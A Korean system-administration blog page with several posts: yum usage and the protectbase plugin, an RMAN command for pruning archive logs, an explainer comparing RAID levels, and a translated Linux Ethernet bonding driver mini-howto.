- 소스파일을 받았을 경우 configure; make; make install; 을 거쳐 파일을 설치한다.

 

주의) 실행시 /var/cache/yum/updates 디렉터리가 없다며 실패할 경우가 있다.

# mkdir -p /var/cache/yum/updates  명령으로 디렉터리 생성후 재실행 한다.

 

 

1. 기본사용방법

 

search

- 사용가능한 RPM 패키지가 있는지 확인

root@estes samba # yum search mrtg

 

 

update

- 최신의 패키지로 업데이트

root@estes samba # yum update httpd

 

 

install

- 기존에 없던 패키지를 설치한다.

root@estes / # yum install iptraf

- 다음과 같이 2개를 동시에 설치할 수도 있다.

root@estes / # yum install GeoIP GeoIP-data

 

 

2. 설정파일 및 로그파일

 

/etc/yum.conf : yum 설정파일.

/var/cache/yum : yum 설치패키지들이 저장됨.

/var/log/yum.log : 로그파일

/etc/yum.repos.d : CentOS-Base.repo, CentOS-Media.repo 등 설치시 저장소를 등록할 수 있다.

 

 

3. rpmforge

 

 

# wget http://dag.wieers.com/packages/rpmforge-release/rpmforge-release-0.3.4-1.el4.rf.i386.rpm

 

- /etc/yum.repos.d : mirrors-rpmforge, rpmforge.repo 파일이 생성되며, yum 서치시 rpmforge 의 패키지들도 검색하게 된다.

 

 

4. yum-plugin-protectbase

 

- yum을 사용하여 update 시에 패키지들의 버전관리를 할 수 있다.

 

1) RPM 패키지를 설치한다.

# yum install yum-plugin-protectbase

 

 

2) Plugin을 활성화 시킨다.

- /etc/yum.conf 파일 하단에 'plugins=1'을 추가시켜 준다.

 

 

3) /etc/yum.repos.d/CentOS-Base.repo  설정파일을 편집한다.

- 파일에 현재 버전을 유지하고 싶은 곳에 'protect=1'을 입력한다. (예를 들어 Base, Update 를 유지하고 싶다면 [base],[update] 항목에 protect 를 건다.)

 

- 활성화 시키고 싶은 항목이 있으면 'enabled=1'로 활성화 시켜준다. (예를 들어 centosplus 를 활성화 시키고 싶다면 [centosplus] 항목에 enabled 를 활성화 시켜준다.)

 

반응형

'OS > LINUX' 카테고리의 다른 글

redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
[LINUX] rpmbuild  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
iptables  (0) 2007.11.21
Posted by [PineTree]
ORACLE/Backup & Recovery2008. 2. 11. 23:14
반응형

rman 에서 3일치 놔두고 나머지 아카이브로그  파일 지우기

 

 

 delete archivelog all completed before 'sysdate -3';

반응형
Posted by [PineTree]
PineTree/etc2008. 2. 11. 22:54
반응형

RAID란?

 

과거 대용량 디스크가 고가였던 시절, 여러개의 디스크를 하나로 묶어 대용량처럼 사용하는 기술
100GB이상의 대용량 디스크가 가정에서도 쉽게 사용되고 있지만, 스토리지에서 흔히 사용되는
TB단위의 대용량의 데이터가 필요로 하는 현대사회에서 꼭 필요한 기술이다.

예전에는 대용량 HDD 와 RAID 장비가 고가여서 기업용 서버에서 주로 사용되었지만 요즘은 가격이 많이내려 사설 서버나 개인용 서버에도 많이 쓰인다.

 

RAID의 사용


1. 여러개의 디스크를 하나의 대용량 디스크처럼 사용.
2. 여러개의 디스크 데이터를 나누어 한꺼번에 쓰고 한꺼번에 읽어 IO속도를 높임.
3. 하나의 디스크에 장애가 생기더라도 데이터를 살리기위한 미러링(백업) 역할.

 

RAID의 종류


- RAID0 (스트라이핑)
  1개의 데이터를 여러개의 하드에 분산해서 저장하는 방식이다.
  물론 1개의 하드에 저장했을때보다 빠르게 읽어 들일수 있지만
  하나의 디스크에서 장애가 생기면, 이 모든 데이터를 잃는 위험부담.


- RAID1(미러링)
  RAID0의 기법에 미러링(거울) 방식을 적용한 기법이다.
  1개의 데이터를 여러개의 하드에 분산하여 저장하되, 한번 쓸 때 두개의 디스크에 같은내용을

  기록 100GB 디스크 10개를 이용하여 500GB를 사용한다.
  디스크에 장애가 생기면 미러링된 데이터를 읽어옴.

 

- RAID2(hamming)
  RAID level 2는 에러검출능력이 없는 드라이브를 위해 hamming 오류정정코드를 사용한다. 

  모든 SCSI 드라이브는 에러검출능력을 갖고 있기 때문에 SCSI 드라이브를 사용할 경우 이

  레벨은 별로 쓰이지 않는다.

※ 현재 사용되지 않음

 

- RAID3(패리티)
  패리티 정보를 저장하고, 나머지 드라이브들 사이에 데이터를 바이트 단위로 분산한다.

  이것은 level 4와 유사하나 바이트 단위의 분산 저장을 경제적으로 수행하기 위해선 하드웨

  어적인 지원이 필요하다.

※ 현재 사용되지 않음


- RAID4 (패리티)
  RAID1은 디스크의 용량을 절반밖에 활용할수 없어서 비싸다 그래서 고안된기술로
  데이터를 분산 저장하고, 데이터들을 특정 연산후 결과값을 별도의 공간(페리티 디스크)에

  저장한다.
  그리하여 디스크에 장애가 생기면, 페리티디스크에 있는 데이터를 이용해 복구가 가능함.
  하지만 두개이상의 디스크에 동시장애가 생기면, 복구 불가
  동시에 많은양의 데이터가 연산될때, 병목현상이 생김.


- RAID5 (스트라이핑 + 패리티)
  병목현상을 해결하기 위해서 나온 것으로 현재까지 세계적으로 가장 많이 사용된다.
  별도의 패리티 디스크를 가지고 있지 않고, 모든 패리티 데이터를 데이터 디스크에 분산

  저장한다.
  하지만, 디스크를 추가할때 모든 데이터에 대한 패리티 데이터를 다시 연산해야함으로 확장이

  어렵다.

 

- RAID6(스트라이핑 + 패리티)
  RAID5와 비슷하지만, 페리티 정보를 모든 디스크에 저장. 두개의 디스크에 장애가 발생하여도

  복구가 가능하며, 읽기 성능이 우수하지만, 패리티를 여러번 갱신해야 하기 때문에 속도가 느림.

  디스크를 재구성하는 동안 성능 저하가 될수 있음.

 

- RAID7

  Optimized Asynchrony for High I/O Rates as well as High Data Transfer Rates

  이 형식은 컨트롤러로서 내장되어 있는 실시간 운영체계를 사용하며, 속도가 빠른 버스를

  통한 캐시, 독자적인 컴퓨터의 여러 가지 특성들을 포함하고 있다

 

- RAID53

  High I/O Rates and Data Transfer Performance

  이 형식은 각 스트립은 RAID-3 디스크 에레이인 스트립 어레이를 제공한다.

  이 방식은 RAID-3보다 높은 성능을 제공한다


- RAID10 (미러링+스트라이핑)
  RAID1 로 묶은 쌍을 RAID0 로 합한 것이다. RAID 중 가장 좋은 방식이다.

  RAID10 은 RAID1 로 묶인 HDD 2개가 동시에 Error 나지 않는한 데이타는 안전하다.

  따라서 RAID0+1 보다 더욱 안전한 방식이다.

 

- RAID0+1(스트라이핑+미러링)

  RAID0 로 합한 2쌍을 RAID1 로 묶은 것이다. RAID10 보다 안정성이 떨어진다.
  RAID0+1 은 RAID1 로 묶인 2개의 RAID0 에서 동시에 Error 나면 전체 데이타를 읽어버린다.

 

 

RAID5 와 RAID6의 차이

 

내부적인 기술의 차이는 있지만 RAID6는 RAID5의 확장 개념으로 보아도 무방하다. RAID5가 5개의 HDD를 장착하고 하나의 HDD가 fail 나더라도 복구가 가능한 데이터 신뢰도를 제공하는데 반하여, RAID6는 6개의 HDD를 장착하고 두 개의 HDD가 동시에 fail 나더라고 복구가 가능해 우수한 데이터 신뢰도를 보장한다.

 

 

RAID5는 최소 3개의 HDD가 구성이 되어야 RAID5 레벨 설정이 가능하고, RAID6는 최소 4개의 HDD가 구성이 되면 RAID6 레벨 설정이 가능하다. 물론, RAID6 에 따른 데이터 신뢰도는 상승하는 반면, 구성 가능한 용량은 RAID5 보다 상대적으로 적을 수밖에 없다. 다만, 그 차이가 데이터 신뢰도를 생각하면 무시하여도 무방할 정도라 할 수 있다.

 

RAID 레벨

MAXTOR 250GB HDD 8개
ARC-1120 구성시

RAID0

2008 GB

RAID5

 1757 GB

RAID6

 1506 GB

 

용량으로 따져본다면 8채널 구성의 경우 RAID0이 설치한 하드디스크를 모두 사용해 250GB 구성시 총 2008GB이 가능했으며, RAID5는 하나 분량의 용량을 패리티 체크 용도로 사용해 1757GB이 가능, RAID6는 두 개 분량의 용량을 패리티 체크 용도로 사용해 1506GB를 전체용량으로 사용할 수 있다.


 

RAID10 와 RAID0+1 의 차이

 
RAID10과 0+1은 비슷하면서도 다릅니다. 비슷한면으로는

1. 용량이 같다.
2. 속도가 같다.
다른면으로는

1. 기술적으로 RAID10이 복잡한 반면 RAID0+1은 단순하다.
2. RAID10은 안정성이 높으나 RAID0+1은 상대적으로 낮다.

그 구조는 다음과 같다.

두 레이드는 기본적으로 RAID0 과 RAID1의 조합으로 이루어진다는것에는 차이가 없습니다.
즉, 속도의 향상과 안정성의 향상이라는 두가지를 합쳐둔것입니다. 그러나 그 사소한 차이가 큰 결과를 만들어내는것이 어느것이 먼저냐는것입니다.

먼저 RAID0+1에 대해서 설명드리면,

RAID0으로 구성한 다음 RAID1으로 미러링을 하는 구조입니다. 말로 설명하면 이해가 잘 안가니 그림 비슷한것을 그려서 설명 드리겠습니다.
RAID0+1로 10개의 HDD를 묶는다고 하면,

1) RAID0으로 5개씩 묶습니다.
RAID0[1,2,3,4,5], RAID0[6,7,8,9,10] 이렇게 2개의 묶음을 R0, R1이라고 이름짓습니다.

2) RAID1으로 2개를 묶습니다.
RAID1[R0,R1]

이것을 풀어서 보시면
RAID1[RAID0[1,2,3,4,5],RAID0[6,7,8,9,10]] 이렇게 들어가는것을 알수 있습니다.
일단 여기까지만 설명드리고 다음으로 넘어가겠습니다. 눈치 빠른 분들은 제가 무슨 이야기르할지 알고 계실겁니다.

그다음 RAID10에 대해서 말씀드리겠습니다.
RAID1로 구성한것을 RAID0로 묶는 구조입니다.
RAID10으로 10개의 HDD를 묶는다고 하면,

1) RAID1으로 2개씩 묶어서 5개의 RAID1볼륨을 만듭니다.
RAID1[1,2], RAID1[3,4], RAID1[5,6], RAID1[7,8], RAID1[9,10] 이렇게 5개가 나옵니다. 각각 R0, R1, R2, R3, R4라고 이름짓습니다.

2) RAID0로 5개를 묶습니다.
RAID0[R0,R1,R2,R3,R4]
이것을 풀어서 보면
RAID0[RAID1[1,2],RAID1[3,4],RAID1[5,6],RAID1[7,8],RAID1[9,10]] 이렇게 됩니다. 지금부터 본격적인 차이점을 설명드리겠습니다.

<첫번째 차이점. 안정성의 차이>
RAID0+1에서 RAID1[RAID0[1,2,3,4,5],RAID0[6,7,8,9,10]]가 있는데, 1번 하드가 고장 나버렸습니다.
그러면 RAID0[1,2,3,4,5]는 깨지겠죠? RAID0는 하나라도 문제가 생기면 전체가 중지되어버립니다.
반면에 RAID10은 RAID0[RAID1[1,2],RAID1[3,4],RAID1[5,6],RAID1[7,8],RAID1[9,10]]에서 1번하드가 고장나면, RAID1[1,2]가 RAID1이기 때문에 1,2가 동시에 문제가 생기지 않는한은 RAID1은 중지되지 않습니다.
이런 질문을 하실수 있습니다. 1,2가 같이 깨지는 경우는 RAID0+1이 낫겠네요...라고요.
그러나 확률을 보시면 아시겠지만, RAID0+1의 경우는 R0에 하나 R1에 하나만 문제가 생기면 완전히 끝입니다. 그러나 RAID10의 경우는 1,3,5,7,9 5개의 하드가 동시에 깨져도 문제 없이 동작합니다. 확률적으로 더 나은 안정성을 보장하죠.

<두번째 차이점. 복구의 차이>
RAID0+1의 경우 1번 하드가 깨진 경우, 1번 하드를 교체후에 REBUILD를 하게 되면 R1에서 R0을 통채로 복사하게 됩니다.
반면 RAID10의 경우 1번 하드가 깨진 경우, 1번 하드를 교체후 REBUILD를 하면 2번 하드에서 1번 하드로 복사를 하게 됩니다.
RAID10의 경우 시간이 엄청나게 단축되겠죠?
반응형

'PineTree > etc' 카테고리의 다른 글

국내 토렌트 사이트모음  (0) 2010.06.04
한글주소 영문으로 변환사이트  (0) 2010.03.17
이동통신사별 카드 활인혜택  (0) 2009.07.30
남자가 수명이 짧은 7가지 이유  (1) 2008.09.07
FILE SYSTEM 비교  (0) 2007.07.20
Posted by [PineTree]
OS/LINUX2008. 2. 11. 22:50
반응형
Linux Ethernet Bonding Driver mini-howto

 

Initial release : Thomas Davis <tadavis at lbl.gov>

Corrections, HA extensions : 2000/10/03-15 :

  - Willy Tarreau <willy at meta-x.org>

  - Constantine Gavrilov <const-g at xpert.com>

  - Chad N. Tindel <ctindel at ieee dot org>

  - Janice Girouard <girouard at us dot ibm dot com>

 

Note :

------

bonding 드라이버는 원래 커널 2.0에 대한 Donald BeckerBeowulf 패치에서 파생하였다. 이것은 처음 버전에서 많이 변경되었기 때문에 extreme-linuxBeowulf 사이트에서 제공하는 툴은 bonding 드라이버와 잘 작동하지 않을 것이다.

 

새로운 드라이버 버전을 얻으려면 예전 커널을 패치하고, 사용자영역의 툴을 업데이트 해야 한다. 이 문서의 끝에 기록된 링크를 참조하라.

 

목차

=================

 

설치(Installation)

Bond 설정(Bond Configuration)

모듈 파라미터(Module Parameters)

다중 Bond 설정(Configuring Multiple Bonds)

설정 변경(Switch Configuration)

Bond 설정 검증(Verifying Bond Configuration)

자주 묻는 질문들(Frequently Asked Questions)

고가용성(High Availability)

Promiscuous Sniffing notes

제약(Limitations)

참고와 링크(Resources and Links)

 

 

설치

============

 

1) bonding 드라이버를 포함한 커널 빌드하기 (Build kernel with the bonding driver)

--------------------------------------------------------------

최신 bond 드라이버 버전을 위해서, 커널 2.4.12 또는 그 이상의 커널을 사용하라

(그렇지 않으면 패치가 필요하다).

 

make menuconfig/xconfig/config를 사용하여 커널 옵션을 설정한다. Network device support 부분에서 Bonding driver support 를 선택하라. 하나 이상의 bonding 장치를 설정하고, 드라이버를 모듈로 설치할 것을 권장하는데 이는 드라이버에 파라미터를 넘겨줄 수 있는 유일한 방법이 모듈방식이기 때문이다.

 

커널과 모듈을 컴파일하고 설치한다.

 

2) 사용자영역 툴을 받아서 설치하기(Get and install the userspace tools)

------------------------------------------------------

현재 bonding 드라이버 버전은 업데이트된 ifenslave 프로그램을 필요로 한다. Extreme-linux beowulf의 것과는 동작하지 않는다. 커널 2.4.12 이상 커널은 Documentaion/network 디렉토리에 ifenslave.c 의 업데이트된 버전을 포함한다. 더 오래된 커널에 대해서는 이 문서의 끝에 기록된 링크를 참고하라.

 

중요!!!  만일 레드헷 7.1이나 그 이후 버전을 사용하고 있다면 /usr/include/linux가 더 이상 /usr/src/linux/include/linux에 대한 심볼릭 링크가 아니기 때문에 주의해야 한다. 만일 그런 상태에서 ifenslave를 컴파일한다면 ifenslave는 성공한 것처럼 보이지만 bond는 동작하지 않을 것이다. Ifenslaver 컴파일시 I 옵션의 목적은 /usr/include/linux 에서가 아니라 /usr/src/linux/include/linux/if_bonding.h를 사용하도록 하는 것이다.

 

Ifenslave.c 를 설치하기 위해서 다음과 같이 수행하라.

 

    # gcc -Wall -Wstrict-prototypes -O -I/usr/src/linux/include ifenslave.c -o ifenslave

    # cp ifenslave /sbin/ifenslave

 

 

Bond 설정(Bond Configuration)

========================

 

bond0 인터페이스가 설정되었을 때, bonding 드라이버가 자동으로 load 되도록 하기 위해서 /etc/modules.conf에 다음 라인을 추가해야 한다. 특별히 자세한 modules.conf 문법을 위해서는 modules.conf 매뉴얼 페이지를 참조하라. 문서의 모듈 파라미터 부분에서는 bonding 드라이버 파라미터에 대해서 설명한다.

 

             alias bond0 bonding

 

bond0 네트워크 인터페이스를 정의하기 위해서는 일반적으로 널리 알려진 방법을 사용하라. 최근 레드헷 배포판을 예로 들면, /etc/sysconfig/network-script 디렉토리에 다음과 유사하게 ifcfg-bond0 파일을 생성하라.

 

DEVICE=bond0

IPADDR=192.168.1.1

NETMASK=255.255.255.0

NETWORK=192.168.1.0

BROADCAST=192.168.1.255

ONBOOT=yes

BOOTPROTO=none

USERCTL=no

 

(자신의 네트워크에 맞는 값을 넣으시오)

 

bond의 일부분인 모든 인터페이스는 SALVE MASTER를 정의해야 한다. 예를 들어 레드헷의 경우에 eth0 eth1 bond 인터페이스 bond0의 부분으로 만들고 싶다면, eth0, eth1의 설정파일(ifcfg-eth0, ifcfg-eth1)은 아래와 유사할 것이다.

 

DEVICE=eth0

USERCTL=no

ONBOOT=yes

MASTER=bond0

SLAVE=yes

BOOTPROTO=none

 

ifcfg-eth1설정 파일에 DEVICE=eth1을 사용하라. 만일 두 번째 bonding 인터페이스(bond1)를 설정한다면, 네트워크 인터페이스를 bond1의 슬레이브로 만들기 위해 설정 파일에 MASTER=bond1 이라고 기록한다.

 

네트워크 서브시스템을 재시작하거나, 관리 툴이 허용한다면 bonding 디바이스만 올리면 된다. 그렇지 않으면 리부팅하라. 레드헷에서는 ifup bond0 또는 /etc/rc.d/init.d/network restart 실행하면 된다.

 

만일 배포판의 관리툴이 네트워크 인터페이스 설정에서 master/slave 개념을 지원하지 않는다면, 다음 명령을 사용해서 bonding 디바이스를 수동으로 설정해야 할 것이다.

 

    # /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 \

      broadcast 192.168.1.255 up

 

    # /sbin/ifenslave bond0 eth0

    # /sbin/ifenslave bond0 eth1

 

(자신의 네트워크에 맞는 값을 넣으시오)

 

적당한 rc 디렉토리안에 이러한 명령이 담긴 스크립트를 생성할 수 있다.

 

만일 bonding 드라이버가 올라오기 전에 모든 네트워크 드라이버를 올리고 싶다면, 다음 명령을 modules.conf 에 추가함으로써 eth0, eth1 네트워크 드라이버를 bonding 드라이버가 올라오기 전에 올릴 수 있다.

 

probeall bond0 eth0 eth1 bonding

 

줄의 끝에 bond0 자체를 참조하지 않도록 주의하라, 그렇지 않으면 modprobe는 끝없이 loop를 돌다가 죽을 것이다.

 

디바이스 특성(MTU 크기와 같은)을 슬레이브 디바이스에 전달하기 위해서, 디바이스를 슬레이브화 시키기 전에 bond 특성을 설정한다. 특성은 슬레이브화 과정에서 전달된다.

 

만일 SNMP 가 수행중이라면, bonding 드라이버는 bond에 참가하는 어떤 네트워크 드라이버보다 먼저 올라와야 한다. 이러한 요구사항은 주어진 IP 주소에서 첫 번째로 발견되는 인터페이스와 인터페이스 인덱스(ipAdEntIfIndex)가 연결되기 때문이다. , IP 주소에 대해서 ipAdEntIfIndex는 단 하나가 존재한다. 예를 들어 만일 eth0 eth1 bond0의 슬레이브이고, eth0에 대한 드라이버가 bonding 드라이버보다 먼저 올라왔다면, IP 주소에 대한 인터페이스는 eth0 인터페이스와 연결된다. 이러한 설정은 아래와 같다. IP 주소 192.168.1.1 fiDescr 테이블(ifDescr.2) eth0에 대한 인덱스인 인터페이스 인덱스 2를 갖는다.

 

     interfaces.ifTable.ifEntry.ifDescr.1 = lo

     interfaces.ifTable.ifEntry.ifDescr.2 = eth0

     interfaces.ifTable.ifEntry.ifDescr.3 = eth1

     interfaces.ifTable.ifEntry.ifDescr.4 = eth2

     interfaces.ifTable.ifEntry.ifDescr.5 = eth3

     interfaces.ifTable.ifEntry.ifDescr.6 = bond0

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.10.10.10 = 5

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.192.168.1.1 = 2

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.74.20.94 = 4

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.127.0.0.1 = 1

 

이러한 문제는 bond에 참여하는 다른 네트워크 드라이버보다 먼저 bonding 드라이버를 올림으로써 해결할 수 있다. 아래는 bonding 드라이버를 먼저 올리는 예이다. IP 주소 192.168.1.1은 정확하게 ifDescr.2와 연결된다.

 

     interfaces.ifTable.ifEntry.ifDescr.1 = lo

     interfaces.ifTable.ifEntry.ifDescr.2 = bond0

     interfaces.ifTable.ifEntry.ifDescr.3 = eth0

     interfaces.ifTable.ifEntry.ifDescr.4 = eth1

     interfaces.ifTable.ifEntry.ifDescr.5 = eth2

     interfaces.ifTable.ifEntry.ifDescr.6 = eth3

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.10.10.10 = 6

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.192.168.1.1 = 2

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.10.74.20.94 = 5

     ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.127.0.0.1 = 1

 

어떤 배포판은 ifDescr의 인터페이스 이름을 알리지 않을 수도 있다. IP 주소와 IfIndex 사이의 연결이 유지 될 것이고, Interface_Scan_Next 와 같은 SNMP 함수는 그러한 연결을 알려줄 것이다.

 

 

모듈 파라미터(Module Parameters)

==========================

 

bonding 드라이버의 파라미터는 insmod 명령에 명령라인 인수를 사용해 제공될 수 있다. 일반적으로 이러한 파라미터는 /etc/modules.conf(modules.conf에 대한 매뉴얼 페이지를 참고하라)에 기록한다. 사용 가능한 bonding 드라이버 파라미터를 아래에 기술했다. 만일 파라미터가 기술되지 않았다면 기본값이 사용된다. 초기 bond를 설정할 때, bonding 드라이버 에러 메시지를 살펴보기 위해서 다른 콘솔 창을 열고 tail f /var/log/messages를 실행하는 것을 권장한다.

 

mode

             4가지 bonding 정책 중 하나를 기술한다. 기본값은 round-robin이다.

             가능한 값은 다음과 같다.

 

0                       Round-robin 정책: 첫 번째 가능한 슬레이브부터 마지막까지 순차적으로 전송한다. 이 모드는 부하분산과 장애 감내를 제공한다.

 

1                       Active-backup 정책: bond에서 하나의 슬레이브만 활성화된다. 다른 슬레이브는 활성화된 슬레이브가 fail된 경우에만 활성화 된다.

 

2                       XOR 정책: [(출발지 MAC 주소와 도착지 MAC 주소의 XOR) modula 슬레이브 개수] 에 기초하여 전송한다. 이것은 각 도착지 MAC 주소에 대해서 동일한 슬레이브를 선택하게 된다. 이 모드는 부하분산과 장애감내를 제공한다.

 

3                       Broadcast 정책: 모든 슬레이브 인터페이스에 모든 것을 전송한다. 이것은 장애감내를 제공한다.

 

 

miimon

 

MII 링크 감시가 발생할 때 밀리(milli) 초 단위로 주파수를 기술한다. MII 링크 감시를 사용하지 않으려면 0 값을 준다. 100이 최초 시작할 때 적절한 값이 된다. 추가 정보를 위해서 고 가용성(High Availability) 부분을 참조하라. 기본값은 0 이다.

 

downdelay

 

링크가 죽은 것이 감지된 후에 링크를 사용하지 못하게 되는 지체 시간을 밀리(milli) 초 단위로 기술한다. 이것은 백만의 배수가 되어야 한다. 그렇지 않으면 값은 반올림될 것이다. 기본값은 0 이다.

 

 updelay

 

링크가 되살아난 것을 감지한 후에 링크를 사용할 수 있게 되는 지체 시간을 밀리(milli) 초 단위로 기술한다. 이것은 백만의 배수가 되어야 한다. 그렇지 않으면 값은 반올림될 것이다. 기본값은 0 이다.

 

arp_interval

 

ARP 감시 주기를 밀리(milli) 초 단위로 기술한다. 만일 ARP 감시가 부하분산 모드(모드 0 또는 2)에서 사용된다면, 스위치(switch) round-robin처럼 모든 링크에 걸쳐 패킷을 동등하게 분배하는 모드에서 설정되어야 한다. 만일 스위치(switch) XOR 형식으로 패킷을 분산하도록 설정된다면, ARP 목표(target)로부터 오는 모든 답신(reply)은 동일한 링크로 받게 될 것이다. 이것은 다른 팀 멤버가 실패하도록 하는 원인이 될 수 있다. ARP 감시는 miimon과 함께 사용되면 안 된다. ARP 감시를 사용하지 않는 값은 0 이다. 기본값은 0 이다.

 

 

arp_ip_target

 

arp_interval > 0 일 때 사용하기 위한 ip 주소를 기술한다. 이것은 목표에게 링크의 상태를 검사하도록 보내어진 ARP 목표의 요청이다. 이 값은 ddd.ddd.ddd.ddd 형식으로 기술한다. 다중 ip 주소는 ,로 구분되어야 한다. 적어도 하나의 ip 주소가 ARP 감시를 수행하기 위해 주어져야 한다. 설정할 수 있는 목표의 최대 개수는 16이다.

 

primary

 

문자열 (eth0, eth2, 등등) 1차 디바이스와 동등하다. 만일 이 값이 입력되고, 디바이스가 on-line이라면 첫 번째 출력 미디어로 사용될 것이다. 디바이스가 off-line일 때는 다른 디바이스가 사용될 것이다. 그렇지 않으면 일단 failover가 감지되고, 새로운 기본 출력이 선택된다면, fail될 때까지 출력 미디어로 남게 될 것이다. 이것은 하나의 슬레이브를 다른 것보다 더 우선 사용될 때 유용하다. 즉 하나의 슬레이브는 1000Mbps이고 다른 하나는 100Mbps일 때, 만일 1000Mbps 슬레이브가 fail되고 나중에 복구된다면, 일부러 100Mbps 슬레이브를 fail시키지 않고도, 더 빠른 슬레이브를 깔끔하게 활성화 시킬 수 있게 된다. primary를 설정하는 것은 active-backup 모드에서만 유효하다.

 

multicast

 

             멀티캐스트 지원을 위한 모든 연산의 정수 값

가능한 값은:

 

        0       사용불가 (멀티캐스트 지원안함)

 

        1       활성 슬레이브에서만 가능, active-backup 모드에서 유용하다.

 

        2       모든 슬레이브에서 가능, 기본값이다.

 

 

다중 Bonds 설정

==========================

 

만일 여러 가지 bonding 인터페이스가 필요하다면, 드라이버도 여러 개 올라와야 한다. 예를 들면, 100 ms 마다 링크 감시를 하는 두 개의 bonding 인터페이스를 설정하기 위해서 /etc/conf.modules은 다음과 같아야 한다.

 

alias bond0 bonding

alias bond1 bonding

 

options bond0 miimon=100

options bond1 -o bonding1 miimon=100

 

다중 ARP 목표 설정

================================

 

ARP 감시가 하나의 목표에서만 이루어질 수 있는 반면, 다중 ARP 목표는 감시할 여러 개의 목표를 가진 고 가용성 설정에서 유용하다. 하나의 목표인 경우에, 목표 그 자체가 다운되거나 ARP 요청에 응답하지 못하게 되는 문제를 가질 수 있다. 부가적인(또는 여러 개의) 목표를 가지는 것은 ARP 감시에 대한 신뢰도를 높일 수 있다.

다중 ARP 목표는 다음과 같이 콤마로 분리되어야 한다.

 

# example options for ARP monitoring with three targets

alias bond0 bonding

options bond0 arp_interval=60 arp_ip_target=192.168.0.1,192.168.0.3,192.168.0.9

 

단일 목표에 대한 옵션은 아래와 같다.

 

# example options for ARP monitoring with one target

alias bond0 bonding

options bond0 arp_interval=60 arp_ip_target=192.168.0.100

 

 

 

스위치 설정

====================

 

스위치는 active-backup 정책이 사용될 때 설정할 필요가 없는 반면에, round-robin, XOR 그리고 broadcast 정책(모드 0, 2, 3)에 대해서 설정이 필요하다.

 

 

Bond 설정 검증

============================

 

1) Bonding 정보 파일

----------------------------

bonding 드라이버 정보 파일은 /proc/net/bond* 디렉토리에 있다.

 

드라이버가 모드 0 miimon=1000이란 파라미터로 올라온 후에  /proc/net/bond0/info 의 내용은 아래와 같다.

 

        Bonding Mode: load balancing (round-robin)

        Currently Active Slave: eth0

        MII Status: up

        MII Polling Interval (ms): 1000

        Up Delay (ms): 0

        Down Delay (ms): 0

 

        Slave Interface: eth1

        MII Status: up

        Link Failure Count: 1

 

        Slave Interface: eth0

        MII Status: up

        Link Failure Count: 1

 

2) 네트워크 검증

-----------------------

네트워크 설정은 ifconfig 명령을 사용하여 검증할 수 있다. 아래 예제에서 bond0 인터페이스는 마스터(MASTER)이고 eth0 eth1은 슬레이브(SLAVE)이다. bond0의 모든 슬레이브는 bond0 와 동일한 MAC address를 갖는다는 것에 주의하라.

 

[root]# /sbin/ifconfig

bond0     Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1

          RX packets:7224794 errors:0 dropped:0 overruns:0 frame:0

          TX packets:3286647 errors:1 dropped:0 overruns:1 carrier:0

          collisions:0 txqueuelen:0

 

eth0      Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1

          RX packets:3573025 errors:0 dropped:0 overruns:0 frame:0

          TX packets:1643167 errors:1 dropped:0 overruns:1 carrier:0

          collisions:0 txqueuelen:100

          Interrupt:10 Base address:0x1080

 

eth1      Link encap:Ethernet  HWaddr 00:C0:F0:1F:37:B4 

          inet addr:XXX.XXX.XXX.YYY  Bcast:XXX.XXX.XXX.255  Mask:255.255.252.0

          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1

          RX packets:3651769 errors:0 dropped:0 overruns:0 frame:0

          TX packets:1643480 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          Interrupt:9 Base address:0x1400

 

 

자주 묻는 질문들

==========================

 

1.  SMP에서도 정상적으로 동작하는가?

 

. 예전 2.0.xx 채널 bonding 패치는 SMP에서 정상 작동하지 않는다. 새로운 드라이버는 처음부터 SMP를 고려하여 설계되었다.

 

2.  bonding과 같이 동작하는 카드의 형태는 어떤 것인가?

 

어떤 종류의 이더넷(Ethernet) 카드(예를 들어 인텔 EtherExpress PRO/100 3com 3c905b와 같이 여러 카드를 혼용할 수도 있다)와도 동작할 수 있다.

             또한 기가빗 이더넷(gigabit ethernet) 카드와도 bond할 수 있다.

 

3.  얼마나 많은 bonding 장치를 가질 수 있는가?

 

올린 모듈당 하나이다. 이것을 어떻게 이것을 하는지에 대해서sms 모듈 파라미터(Module Parameter) 섹션을 참고하라

 

4.  얼마나 많은 슬레이브가 bonding 장치를 가질 수 있나?

 

네트워크 인터페이스의 개수로 제한된다. 리눅스는 시스템에서 장착할 수 있는 개수만큼의 네트워크 카드 개수를 지원한다.

 

5.  슬레이브의 링크가 다운이 되면 어떤 일이 일어나는가?

 

만일 당신의 이더넷 카드가 MII 또는 ETHTOOL 링크 상태 감시를 지원한다면, 그리고 MII 감시가 드라이버에서 가능하였다면(모듈 파라미터에서 기록된 것을 참고하라), adverse 결론은 없을 것이다. 이러한 bonding 드라이버는 어떻게 MII 정보를 얻고, 링크 상태에 따라서 어떻게 슬레이브를 사용 가능하게 하거나 사용 가능하지 않게 하는지를 알고 있다.

            

